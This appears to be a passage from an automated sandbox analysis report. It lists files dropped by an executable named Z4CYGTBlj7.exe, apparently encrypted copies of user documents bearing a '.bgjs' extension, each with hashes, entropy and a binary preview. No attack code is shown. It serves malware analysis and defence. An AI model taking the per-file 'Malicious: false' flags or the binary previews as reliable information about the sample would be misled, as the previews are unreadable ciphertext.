Preview:	PALRGt..G}.........e..'.....=)x.?..j.....-...X..Fs7....h..{..8vs....Ojc..'....J.MpfW..]'7[....q.6.C.N0.QH.0.t....ji.2.~K.i.0?@.(..r.......w........d)"...~.YT..G.O.....SF{.....LqO2J.I....]....P$..@.7..y...MI..ne.0..3...7..7ra...c.ghD.h{_.q+h-~..... ...../..(R.P.g.g..L%4..U.$.{.QG?..<../D"..x..f;.....]c.k.&....%.X.....0..E.Y.-.".... n..g/o).....p../....I.)y\|.u.x.B....G..h..ebu.>...$..dfj.v......J0..........A.......L.gs'..8.O2.c.:...1...3..ak.Y.t.w.<...R....^..D...xX....PO...& ...=.T.D/H)..b..]..@..!..FJ...D.T%.l5e'v.......w.o..F.p8......z$dnv9.}...M.....(..T.].-..#...Kr...kp......=M=/....E.rt.%....5Lb.5.O%.s....n.....& ...Ks.Q-...q.Y.!.e{C.r.A..7.V...KV7}.:.[y.Q:..U...4...^./.<p.....K.O...]...:+K..x.IQ.V.t.5........Zu.t..,.....Fk.>O~...w&O>.rI...ks..D....6?.bs4G.->...._]2J].< ..>..B.#...B..w.....j..Z.......l.x.&...@...,..C......!......)..!.m.pl.\|.<.>Y55....%1.5N.u..'*>.d.j..)}.6..A.\.>A1.p.............=.X..).....t0YJ.+].%.k.\K=.4..91..9

C:\Users\user\Desktop\PALRGUCVEH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851591771675054
Encrypted:	false
SSDEEP:	24:Zkt5fdmAZQRe4YyFc2k/1z4Q8pVjkccVNxdrwKnyBLg2fL1CvvsbD:ZktBdmAZQQyA1uFktVNxqX0vvmD
MD5:	EB7C98BC0BE8760EBF246C031CE9C89C
SHA1:	0683E511CD8BA0B2815481756F80C601217ADD18
SHA-256:	343AF3DF65D1E0BCE97CD856BB870ED62866EF3CB31405A45EF61F327E9111F5
SHA-512:	5F30B32697F0D30A93E019B84C5E53E34B2EC055BF4EEEFB4FC24C8424E638FD1EAD0FDB0C308E746E74DABD5E15A296FC51FC8F3E5441C7C5BE96B91C21914D
Malicious:	false
Preview:	PALRGt..G}.........e..'.....=)x.?..j.....-...X..Fs7....h..{..8vs....Ojc..'....J.MpfW..]'7[....q.6.C.N0.QH.0.t....ji.2.~K.i.0?@.(..r.......w........d)"...~.YT..G.O.....SF{.....LqO2J.I....]....P$..@.7..y...MI..ne.0..3...7..7ra...c.ghD.h{_.q+h-~..... ...../..(R.P.g.g..L%4..U.$.{.QG?..<../D"..x..f;.....]c.k.&....%.X.....0..E.Y.-.".... n..g/o).....p../....I.)y\|.u.x.B....G..h..ebu.>...$..dfj.v......J0..........A.......L.gs'..8.O2.c.:...1...3..ak.Y.t.w.<...R....^..D...xX....PO...& ...=.T.D/H)..b..]..@..!..FJ...D.T%.l5e'v.......w.o..F.p8......z$dnv9.}...M.....(..T.].-..#...Kr...kp......=M=/....E.rt.%....5Lb.5.O%.s....n.....& ...Ks.Q-...q.Y.!.e{C.r.A..7.V...KV7}.:.[y.Q:..U...4...^./.<p.....K.O...]...:+K..x.IQ.V.t.5........Zu.t..,.....Fk.>O~...w&O>.rI...ks..D....6?.bs4G.->...._]2J].< ..>..B.#...B..w.....j..Z.......l.x.&...@...,..C......!......)..!.m.pl.\|.<.>Y55....%1.5N.u..'*>.d.j..)}.6..A.\.>A1.p.............=.X..).....t0YJ.+].%.k.\K=.4..91..9

C:\Users\user\Desktop\SQSJKEBWDT\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854278235341401
Encrypted:	false
SSDEEP:	24:NX5vTFibvUchrbj6Kjz7e7N7crZQfia6OMOxlt4wSlScZy1Iu9F9YnrRpKaKd8V+:9lZibzJe5fiauOxlt4ZVymupWp1Kd8V+
MD5:	184419AD73AA6059E82456183EAE911A
SHA1:	29764045D03881EFB38F151AE684E45EFAA1B2E8
SHA-256:	C94BFA085AC2C662E6BD64635934FA2D52FC0613F7B3FCD1946FA7D8D9FCD659
SHA-512:	E3CDFEB12281605E2FE48F380FB8E8EEC3A66AED59B28D4C5E4C3850709837F57AA2C71797BA9FDBFCE1331933316283D6D2B89803B6B167831D0B0A874CBA6B
Malicious:	false
Preview:	BJZFPb?.)...i..f.....t.[...A.......'k.i._].??1I.?.CP..X.Mka._WLZ.:.....%..iw.....LP....!ne..+.p...a:.._WV?.#B.~.`!,...qw.C9'...pZ...../{`~:@\|]~._ .@.}t......".......Ii.<c9...).qU.F.>.Z.hY./K...,cEa\..{.....'..".k.....#.....m...t..\.B..C.28.. .>...Q0p.....!.U.#....32..N.iT.t......l.+L.o0.dg.....r.y.......N......"...^\|......m.R..)X....A.7..+..5.%~.?..........r.j..a..........Vy.)....X.p.q...tmX..s.....NC...uab#.._T...]W.? .2.[.g>....V...u...."$\|...<Y.$..2..{....]).'g...I9....A...Q...WN..;.X..duF.R..W,.r...r.j...4..R...k....G....QKhdI......A0,.a..?..X.l.`Rtty.J.`.FQ\....YR..,XU.u"r9>.x.0A.<!......0.......d...8A..,.7T..!...S8..[[ N.x..4x.}....I..zw.'.-..=w5.;B.......^<&.J.......b..";.K...m....b\|..+.z6....&$.<A....]...#9.:kN...$.W..4=.C.d.&6.;e..P...u.QQ/..\|....k.....Z..a....4...Mk8.......2.A/........y8.B&....d..*..%%(..........`...........z.(.0Y_.^.%W..R.....S..t.b.......,.u..(i.D.FnXM.Y.)v..c..Sr..j.s.(.F./.,.a...+...e.CC......M

C:\Users\user\Desktop\SQSJKEBWDT\BJZFPPWAPT.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854278235341401
Encrypted:	false
SSDEEP:	24:NX5vTFibvUchrbj6Kjz7e7N7crZQfia6OMOxlt4wSlScZy1Iu9F9YnrRpKaKd8V+:9lZibzJe5fiauOxlt4ZVymupWp1Kd8V+
MD5:	184419AD73AA6059E82456183EAE911A
SHA1:	29764045D03881EFB38F151AE684E45EFAA1B2E8
SHA-256:	C94BFA085AC2C662E6BD64635934FA2D52FC0613F7B3FCD1946FA7D8D9FCD659
SHA-512:	E3CDFEB12281605E2FE48F380FB8E8EEC3A66AED59B28D4C5E4C3850709837F57AA2C71797BA9FDBFCE1331933316283D6D2B89803B6B167831D0B0A874CBA6B
Malicious:	false
Preview:	BJZFPb?.)...i..f.....t.[...A.......'k.i._].??1I.?.CP..X.Mka._WLZ.:.....%..iw.....LP....!ne..+.p...a:.._WV?.#B.~.`!,...qw.C9'...pZ...../{`~:@\|]~._ .@.}t......".......Ii.<c9...).qU.F.>.Z.hY./K...,cEa\..{.....'..".k.....#.....m...t..\.B..C.28.. .>...Q0p.....!.U.#....32..N.iT.t......l.+L.o0.dg.....r.y.......N......"...^\|......m.R..)X....A.7..+..5.%~.?..........r.j..a..........Vy.)....X.p.q...tmX..s.....NC...uab#.._T...]W.? .2.[.g>....V...u...."$\|...<Y.$..2..{....]).'g...I9....A...Q...WN..;.X..duF.R..W,.r...r.j...4..R...k....G....QKhdI......A0,.a..?..X.l.`Rtty.J.`.FQ\....YR..,XU.u"r9>.x.0A.<!......0.......d...8A..,.7T..!...S8..[[ N.x..4x.}....I..zw.'.-..=w5.;B.......^<&.J.......b..";.K...m....b\|..+.z6....&$.<A....]...#9.:kN...$.W..4=.C.d.&6.;e..P...u.QQ/..\|....k.....Z..a....4...Mk8.......2.A/........y8.B&....d..*..%%(..........`...........z.(.0Y_.^.%W..R.....S..t.b.......,.u..(i.D.FnXM.Y.)v..c..Sr..j.s.(.F./.,.a...+...e.CC......M

C:\Users\user\Desktop\SQSJKEBWDT\EFOYFBOLXA.jpg

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867532891464022
Encrypted:	false
SSDEEP:	24:HGqEu3XLP93lCJHse9UJ6lHICL9t+jcm7M1e3uiqmYuvRk4rjdEfI/hNQN3UE7Qj:HGqEunb/CJZSAlouS7MMLqmYaXjqfahr
MD5:	709E5F0D1165D488425CAABEAED19DC8
SHA1:	B3E64C96C867B9728D203AD365A8AD1C0D1C17C7
SHA-256:	2375A8406C0B2992E13FEBC60D9F318B6B304315E9B103D1C5225450DE9D289C
SHA-512:	15B9184B436DF6334E152B2414122A41930FC00C487448D9A943392A30DDEFD6069C0D9091AA1F699F38BA6C06B42FE7A68F9F835E70652549A7FF483CD3231A
Malicious:	false
Preview:	EFOYF..)..C.....=..../@B.(.m^=EnU....c..<..b...V.Us.....8.. ..X..G3......cwj7$.....`.l.3.b{....\g.%..>..l...Q.a.PM....+.....,..k.{..p.,yQ.I.;...^...N...4.......F...LX.y....o"~j..[6..l.....H...U.66....f._y.7....]......23.......?..j .l..@o.v.@..7.....2.i.^;.h.".Z.#QR.O..1.......0..b^.Gd$..........x';R...a,..!o.CG...y...V7].0f.pi..g.G..@s7_.....(T.<. [oj.O0..}yJ...>._..%.:.a...N`.P6r6.R...'.".`..bK..::W.+.....Xi.e.M6....0R.....-3......Ue..1V....;C.#..KeY.jU. .......V.`.pT..sn.m...7.......L6...J.....1h.0.....V.&.Jp...r........a.....l6.._...[K... .K.Um.;V./..$8.(..4..W.t^...s^.w.F..P(...n.<.......R.\..7..>~..R...h.....'..I-.q...s.i...... .m)....2.t...\*.`..@...y.....$..U.p~tp...Q...C..}.e.PM..-Z.......b...........8\...4.7.N.......S>..r}.#2.a.?9.)........}.n..W..Vr..`.>.R&..m.Z......LE.....B,.xq.)......5..m..a.E.h...`9.7.=.H%[t.X.m... .....n.D0UuY.).d.l..#qh.E...z..n. 0.......iHA...1J.A"..l.....S..R...?-0'....7k.@^.7...F.......9T.5.z...

C:\Users\user\Desktop\SQSJKEBWDT\EFOYFBOLXA.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867532891464022
Encrypted:	false
SSDEEP:	24:HGqEu3XLP93lCJHse9UJ6lHICL9t+jcm7M1e3uiqmYuvRk4rjdEfI/hNQN3UE7Qj:HGqEunb/CJZSAlouS7MMLqmYaXjqfahr
MD5:	709E5F0D1165D488425CAABEAED19DC8
SHA1:	B3E64C96C867B9728D203AD365A8AD1C0D1C17C7
SHA-256:	2375A8406C0B2992E13FEBC60D9F318B6B304315E9B103D1C5225450DE9D289C
SHA-512:	15B9184B436DF6334E152B2414122A41930FC00C487448D9A943392A30DDEFD6069C0D9091AA1F699F38BA6C06B42FE7A68F9F835E70652549A7FF483CD3231A
Malicious:	false
Preview:	EFOYF..)..C.....=..../@B.(.m^=EnU....c..<..b...V.Us.....8.. ..X..G3......cwj7$.....`.l.3.b{....\g.%..>..l...Q.a.PM....+.....,..k.{..p.,yQ.I.;...^...N...4.......F...LX.y....o"~j..[6..l.....H...U.66....f._y.7....]......23.......?..j .l..@o.v.@..7.....2.i.^;.h.".Z.#QR.O..1.......0..b^.Gd$..........x';R...a,..!o.CG...y...V7].0f.pi..g.G..@s7_.....(T.<. [oj.O0..}yJ...>._..%.:.a...N`.P6r6.R...'.".`..bK..::W.+.....Xi.e.M6....0R.....-3......Ue..1V....;C.#..KeY.jU. .......V.`.pT..sn.m...7.......L6...J.....1h.0.....V.&.Jp...r........a.....l6.._...[K... .K.Um.;V./..$8.(..4..W.t^...s^.w.F..P(...n.<.......R.\..7..>~..R...h.....'..I-.q...s.i...... .m)....2.t...\*.`..@...y.....$..U.p~tp...Q...C..}.e.PM..-Z.......b...........8\...4.7.N.......S>..r}.#2.a.?9.)........}.n..W..Vr..`.>.R&..m.Z......LE.....B,.xq.)......5..m..a.E.h...`9.7.=.H%[t.X.m... .....n.D0UuY.).d.l..#qh.E...z..n. 0.......iHA...1J.A"..l.....S..R...?-0'....7k.@^.7...F.......9T.5.z...

C:\Users\user\Documents\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838593869010716
Encrypted:	false
SSDEEP:	24:uXM4kcxa/JLqPGUHdaEtK7UZISE7zJ5WfG6MwjtduyYpxQ3ktfsbD:uX5kcppH1K7OIHJEfGgZduy2xQ3kBmD
MD5:	E0F88D6AFFBB260DCBF15FE48E543098
SHA1:	3FA4E04FCC6EB432F5EF38D1CB8CEF04FD5FFE34
SHA-256:	76521689762D935BAEDD883E019383B5A9BA691B36CC8ED3C8A8816C36214810
SHA-512:	C8A9ED4774092A7382D936648D8537589CE2D365F7ED0DB558F8331DD8C9380252653C1C83C5A0A605972004472DF47A04D594DD419BDE83A5F846F70E2F092A
Malicious:	false
Preview:	BJZFP....U...t.A.?l^.(;F.......V+<.t.q5.E..O.p.Q\|..~>...X...3......d...z....uc.t..w2G.&...]p&..."..%../B....^4Z..#...K........t6.!.......$..7P..."....9<....Vt...BPa...r.......4`_..;...$7M.........=.v.1`...FI......\|..\|..P.S.4L.Z.0::.G%(.....)..+)%...~<fyM.C..a.Dc....K..Cw.v..Ux..O6U.......AS....D..o.....j-..,....;_..y.....r..@....d.d..5.0..T.....x....YL.~..K.#g7.F.....w..w....vd...A.e..........`.e8.....J.....4.d..u.K.p+..7X.(...O.....\|.$tn..e.X...Z0...Nz.?......`c~arg......\$...z ..I....Zw...n....I..r. ]..c~..$'8q....&Q.(..?.7.%.N...Q.6....:.u._..\...=..R...\|'4...v<.T.s....H.4.... '....[....Y......T..E..r.jm.@/P..6................. O....9...n!....4...".M..[BW.3zo........N{.{!=...q....M....o1r....Ui.cX.v."...Mt...:..,-X....X......f%..w#N.\|G...(.Z...RV.0xu....\.... ....{.l.u......5p...CTG]..U.....J.f.].46h.....1.r..V.:..3...o.....p...eS.f....1.......^.zQ.DU.H[mV.....R.H]...7...d.@P..<.\|..[]...3UD/......).O..(..~.n.t!...

C:\Users\user\Documents\BJZFPPWAPT.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838593869010716
Encrypted:	false
SSDEEP:	24:uXM4kcxa/JLqPGUHdaEtK7UZISE7zJ5WfG6MwjtduyYpxQ3ktfsbD:uX5kcppH1K7OIHJEfGgZduy2xQ3kBmD
MD5:	E0F88D6AFFBB260DCBF15FE48E543098
SHA1:	3FA4E04FCC6EB432F5EF38D1CB8CEF04FD5FFE34
SHA-256:	76521689762D935BAEDD883E019383B5A9BA691B36CC8ED3C8A8816C36214810
SHA-512:	C8A9ED4774092A7382D936648D8537589CE2D365F7ED0DB558F8331DD8C9380252653C1C83C5A0A605972004472DF47A04D594DD419BDE83A5F846F70E2F092A
Malicious:	false
Preview:	BJZFP....U...t.A.?l^.(;F.......V+<.t.q5.E..O.p.Q\|..~>...X...3......d...z....uc.t..w2G.&...]p&..."..%../B....^4Z..#...K........t6.!.......$..7P..."....9<....Vt...BPa...r.......4`_..;...$7M.........=.v.1`...FI......\|..\|..P.S.4L.Z.0::.G%(.....)..+)%...~<fyM.C..a.Dc....K..Cw.v..Ux..O6U.......AS....D..o.....j-..,....;_..y.....r..@....d.d..5.0..T.....x....YL.~..K.#g7.F.....w..w....vd...A.e..........`.e8.....J.....4.d..u.K.p+..7X.(...O.....\|.$tn..e.X...Z0...Nz.?......`c~arg......\$...z ..I....Zw...n....I..r. ]..c~..$'8q....&Q.(..?.7.%.N...Q.6....:.u._..\...=..R...\|'4...v<.T.s....H.4.... '....[....Y......T..E..r.jm.@/P..6................. O....9...n!....4...".M..[BW.3zo........N{.{!=...q....M....o1r....Ui.cX.v."...Mt...:..,-X....X......f%..w#N.\|G...(.Z...RV.0xu....\.... ....{.l.u......5p...CTG]..U.....J.f.].46h.....1.r..V.:..3...o.....p...eS.f....1.......^.zQ.DU.H[mV.....R.H]...7...d.@P..<.\|..[]...3UD/......).O..(..~.n.t!...

C:\Users\user\Documents\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851086600926519
Encrypted:	false
SSDEEP:	24:Jz9Hqfo5TrnfBYGrxXyKqu5QM6z9F9/ZUQPDlNeiA5YX8ke2wSXLJtsbD:/qIVxVXyKt6xFbUolVqFiLbmD
MD5:	1C6DE47EA77E1B97A2DB31621CA73AC5
SHA1:	12EA497C4A73731DFCD258F547C5D3976B91DCEA
SHA-256:	FB28D1B713326390F650551E561339201A0AA4330718C8C76725F1D4D9B10465
SHA-512:	0BD51D5214D56DEB5A45C9774E4524A9B312113B0D49A18F1FC477C5E6339D4945C44A19ED1443F2AB90C5639E5209F6EF35A4B9E2BBFA35B190F2EF3217061F
Malicious:	false
Preview:	EEGWX"b...w(..8n.......T....r....G.....8. .b2i.,..z`[....%2...!./.4....i....\|.G.).fv..:......=.....w...y.jj.)..!4..?d....?..K..U.......O.. $.".l...x.9..3.s.G.Y.....}..> !a.vB#...3....8..).....=.n..k.D..s..?c\|.....wc..!..Z.ln...\W.a\|..g.s$.?....<..bY..`./...k...@3.N+.p....#^N....TI.#..6.3.g._.....e.j... .....o.2;.T....i...Znd$. @..Ht...).k..D._...H..).%'h.YC.iX.,,R.......f........2...(86M.^d.\|=.t.q.?"......h.........5/...){d..W....va.v.5SnU...+#..4...z4_C..Vzp.J'`jN3.T.z.(Q.J.....BwC......Al.._....fd...;..EL.....6.=...^..).......8...T....[....bG1.Fk.1$.T.G..L?..K.O....c....t.y,.9.U.&(.:..L....p.V......'...8....<a.`..o..5...y..A....v@.z@<..r..O.h.].-;/.........Z.t........tuY...6.e.......6V...b.....s+Q"F.. .c.hOS.p.....s/9..g..o.3..S....u.X.X.Zm&8Cj.....@.{B..,.Y.X..y...'w..1....m.:.1r.-..1.>~..[~..9Uw..._...W...c...>.&.^..E..^fS-..A.qP_!..AY.....\| ..8..x..+.*............f].K/9k.3..\|./8.......C..u....1.........(+...".\..k@8&M-ej.bj.u \l@..&.v

C:\Users\user\Documents\EEGWXUHVUG.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851086600926519
Encrypted:	false
SSDEEP:	24:Jz9Hqfo5TrnfBYGrxXyKqu5QM6z9F9/ZUQPDlNeiA5YX8ke2wSXLJtsbD:/qIVxVXyKt6xFbUolVqFiLbmD
MD5:	1C6DE47EA77E1B97A2DB31621CA73AC5
SHA1:	12EA497C4A73731DFCD258F547C5D3976B91DCEA
SHA-256:	FB28D1B713326390F650551E561339201A0AA4330718C8C76725F1D4D9B10465
SHA-512:	0BD51D5214D56DEB5A45C9774E4524A9B312113B0D49A18F1FC477C5E6339D4945C44A19ED1443F2AB90C5639E5209F6EF35A4B9E2BBFA35B190F2EF3217061F
Malicious:	false
Preview:	EEGWX"b...w(..8n.......T....r....G.....8. .b2i.,..z`[....%2...!./.4....i....\|.G.).fv..:......=.....w...y.jj.)..!4..?d....?..K..U.......O.. $.".l...x.9..3.s.G.Y.....}..> !a.vB#...3....8..).....=.n..k.D..s..?c\|.....wc..!..Z.ln...\W.a\|..g.s$.?....<..bY..`./...k...@3.N+.p....#^N....TI.#..6.3.g._.....e.j... .....o.2;.T....i...Znd$. @..Ht...).k..D._...H..).%'h.YC.iX.,,R.......f........2...(86M.^d.\|=.t.q.?"......h.........5/...){d..W....va.v.5SnU...+#..4...z4_C..Vzp.J'`jN3.T.z.(Q.J.....BwC......Al.._....fd...;..EL.....6.=...^..).......8...T....[....bG1.Fk.1$.T.G..L?..K.O....c....t.y,.9.U.&(.:..L....p.V......'...8....<a.`..o..5...y..A....v@.z@<..r..O.h.].-;/.........Z.t........tuY...6.e.......6V...b.....s+Q"F.. .c.hOS.p.....s/9..g..o.3..S....u.X.X.Zm&8Cj.....@.{B..,.Y.X..y...'w..1....m.:.1r.-..1.>~..[~..9Uw..._...W...c...>.&.^..E..^fS-..A.qP_!..AY.....\| ..8..x..+.*............f].K/9k.3..\|./8.......C..u....1.........(+...".\..k@8&M-ej.bj.u \l@..&.v

C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854582097511501
Encrypted:	false
SSDEEP:	24:ybtKFCdcFu/lcb1kPw5YQIDMWl98eTCkHcmCanMeoZs1ri4auYPwgXYsbD:ykFCdkwl41kI51eMo8kCk8lanMeh1lex
MD5:	BA0DFF10F9208D820C3E00ACC41B609E
SHA1:	3B4338F7CC977E9CC4C9EBF0286AF05CE604E019
SHA-256:	36B72ACF5566E8C402908FECE9EC05953D713346CDA575A395190B2C5E84E007
SHA-512:	501FA6849E6D9844D593C0942C04DD7B9566B063510DE3B0B982370B8AEE5FAA374FFAE08C1483791F6C3326124CED61CBC2D09C5DDC64AA7D2DEC821BCD49BE
Malicious:	false
Preview:	BJZFP,..Kd.... zYg4..jM...y..@./....!\|"u..n....h.o..=....6.....f....Ll..{W....dH..J.........o.S....r..V$>#.<_O\|.....C.....D......Q.....0......j....){.y&.....T. o.....x.......F........K.K.8{...`.\|j.%...B..Y.g. ...........E....?.S..3.U.;j.X.T..A1...dYD.\...N.UJy..y...5@..XcP..y...h.2...=..<7.e.YO......`...d........N....L.rS...B-.~......T.Y..k(...6z.9....$.4.N...Q..4.=.s..<..m...d#.^..w5J...4v.....;fW.w@......R.'$.V"...'..,..B.c.FGZ..=.:'....\|.._..3...SK6B....d..VC...D..dv..b..~..=/....q?........@..?...]...F>'.z..f....T.tT.6....\|A..W.Q\k....3.eq....m.r...+...:....G\|.[d3]..........WV.\|D..h.X.O@....T.... ..._.!...H.-l_.E.r..C..p8....O.e.."/...\-......3f.. ..v......$..p.v}}N.TR...~..?..B...A.1...,do....c9'....96...Xt.]c.3......Z.I...v."..kd.'vFu..:1.l.?.V.d.........<....?w.NQ.U.r..;.z..7)\s.;Y.UO..3<.n..#.._.(..j.d..-:.0.?z.=)..Z.Z3......zE...?J>M.~kWz=}..t.....z..y>B.B...7..(8.q..9J...&=..A3.W\|.vI...._..^.*b.....w. m<:o..`E+~..b...

C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854582097511501
Encrypted:	false
SSDEEP:	24:ybtKFCdcFu/lcb1kPw5YQIDMWl98eTCkHcmCanMeoZs1ri4auYPwgXYsbD:ykFCdkwl41kI51eMo8kCk8lanMeh1lex
MD5:	BA0DFF10F9208D820C3E00ACC41B609E
SHA1:	3B4338F7CC977E9CC4C9EBF0286AF05CE604E019
SHA-256:	36B72ACF5566E8C402908FECE9EC05953D713346CDA575A395190B2C5E84E007
SHA-512:	501FA6849E6D9844D593C0942C04DD7B9566B063510DE3B0B982370B8AEE5FAA374FFAE08C1483791F6C3326124CED61CBC2D09C5DDC64AA7D2DEC821BCD49BE
Malicious:	false
Preview:	BJZFP,..Kd.... zYg4..jM...y..@./....!\|"u..n....h.o..=....6.....f....Ll..{W....dH..J.........o.S....r..V$>#.<_O\|.....C.....D......Q.....0......j....){.y&.....T. o.....x.......F........K.K.8{...`.\|j.%...B..Y.g. ...........E....?.S..3.U.;j.X.T..A1...dYD.\...N.UJy..y...5@..XcP..y...h.2...=..<7.e.YO......`...d........N....L.rS...B-.~......T.Y..k(...6z.9....$.4.N...Q..4.=.s..<..m...d#.^..w5J...4v.....;fW.w@......R.'$.V"...'..,..B.c.FGZ..=.:'....\|.._..3...SK6B....d..VC...D..dv..b..~..=/....q?........@..?...]...F>'.z..f....T.tT.6....\|A..W.Q\k....3.eq....m.r...+...:....G\|.[d3]..........WV.\|D..h.X.O@....T.... ..._.!...H.-l_.E.r..C..p8....O.e.."/...\-......3f.. ..v......$..p.v}}N.TR...~..?..B...A.1...,do....c9'....96...Xt.]c.3......Z.I...v."..kd.'vFu..:1.l.?.V.d.........<....?w.NQ.U.r..;.z..7)\s.;Y.UO..3<.n..#.._.(..j.d..-:.0.?z.=)..Z.Z3......zE...?J>M.~kWz=}..t.....z..y>B.B...7..(8.q..9J...&=..A3.W\|.vI...._..^.*b.....w. m<:o..`E+~..b...

C:\Users\user\Documents\EFOYFBOLXA.jpg

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843119072512967
Encrypted:	false
SSDEEP:	24:ZSwWLlCrsP7SqlRSFn0CJqkXj+U/lNMssFpwC2XRyhrMOrkKGo6sbD:Ewa7VlRS0CokXv/lNuPZJ/kKSmD
MD5:	230A97953D4C02020368FF153E13269C
SHA1:	C1B31B6008E97121B3640DE2F59C75B72AC99CDB
SHA-256:	618FFE9D459FA15841BC71534880074067D8CE9AA6F613D50AF51D6C8B40FE22
SHA-512:	CB0362622C887F348EB3CABBF776D8E8762DBD3189A93676AAAE3DB81AF05F2CE962EBD0D1AB15527C7453A4BCC43501F3EC9F1594243601F405EB09380BE5B7
Malicious:	false
Preview:	EFOYF..t..J..%..t..z%}.c.........h..\|_.0.10Akz..V.r=.A?d..;A..5a.C,.."h..0.g...{. ....p].a.{..F..\|.Yg....H...W..#......`.......o.X.I....\|.a...USd..g%zA..).:.h.........(..>..!.#q.4..1.K..y...j......xj.F.....k!...,.,....G`..uN.4.T.SaS.....0].p.eo+=.5.....X{.f.Nx0.P.!..#..b.w...V.#5c..Q./.\...f.khW..V.}mt..2.97,.....)l.-.x.+..&e.y.q..W..y/.2...B5 T.w{w)"......g).B.$D....o.sfFF.z.P.....Nl\.k..v.R..q.2...#`I...MD.f....../~dgq.4..xgY....x.<.&>/#....[......d..i.@:...2....^.f..(..l.v....<..S/.s./...n2.@.....\..s..W.HP......4I..gT....J.U.6ymAb..5...Jg[f-!.....k\NM}..w..5...U.J.6.8.Lv.9t.f./tJ.D;/RH.-.-E.Kd4+.&~[...(......{.\|.dAs......{..XF....y.......u..`..]tA.b.....f.9.....%.T}.'-..'.e".bSQ...8.#..c.\|!O.w..e.(z..1*...Zty4..H......v:.T.s..,.......R.f...9)s.%...9.e.6(-.....S-.....b.u.3}..Lkb.o#,.`..).......j.!m...gho!#....\N.%;.Q..:)..i....@.:..K.o...z..;........;..T........\|..~...)x.....-\|d.....~....?.RA..,.T.}. #.O...=K...1^6Pl.m.......U.rQ....)...

C:\Users\user\Documents\EFOYFBOLXA.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843119072512967
Encrypted:	false
SSDEEP:	24:ZSwWLlCrsP7SqlRSFn0CJqkXj+U/lNMssFpwC2XRyhrMOrkKGo6sbD:Ewa7VlRS0CokXv/lNuPZJ/kKSmD
MD5:	230A97953D4C02020368FF153E13269C
SHA1:	C1B31B6008E97121B3640DE2F59C75B72AC99CDB
SHA-256:	618FFE9D459FA15841BC71534880074067D8CE9AA6F613D50AF51D6C8B40FE22
SHA-512:	CB0362622C887F348EB3CABBF776D8E8762DBD3189A93676AAAE3DB81AF05F2CE962EBD0D1AB15527C7453A4BCC43501F3EC9F1594243601F405EB09380BE5B7
Malicious:	false
Preview:	EFOYF..t..J..%..t..z%}.c.........h..\|_.0.10Akz..V.r=.A?d..;A..5a.C,.."h..0.g...{. ....p].a.{..F..\|.Yg....H...W..#......`.......o.X.I....\|.a...USd..g%zA..).:.h.........(..>..!.#q.4..1.K..y...j......xj.F.....k!...,.,....G`..uN.4.T.SaS.....0].p.eo+=.5.....X{.f.Nx0.P.!..#..b.w...V.#5c..Q./.\...f.khW..V.}mt..2.97,.....)l.-.x.+..&e.y.q..W..y/.2...B5 T.w{w)"......g).B.$D....o.sfFF.z.P.....Nl\.k..v.R..q.2...#`I...MD.f....../~dgq.4..xgY....x.<.&>/#....[......d..i.@:...2....^.f..(..l.v....<..S/.s./...n2.@.....\..s..W.HP......4I..gT....J.U.6ymAb..5...Jg[f-!.....k\NM}..w..5...U.J.6.8.Lv.9t.f./tJ.D;/RH.-.-E.Kd4+.&~[...(......{.\|.dAs......{..XF....y.......u..`..]tA.b.....f.9.....%.T}.'-..'.e".bSQ...8.#..c.\|!O.w..e.(z..1*...Zty4..H......v:.T.s..,.......R.f...9)s.%...9.e.6(-.....S-.....b.u.3}..Lkb.o#,.`..).......j.!m...gho!#....\N.%;.Q..:)..i....@.:..K.o...z..;........;..T........\|..~...)x.....-\|d.....~....?.RA..,.T.}. 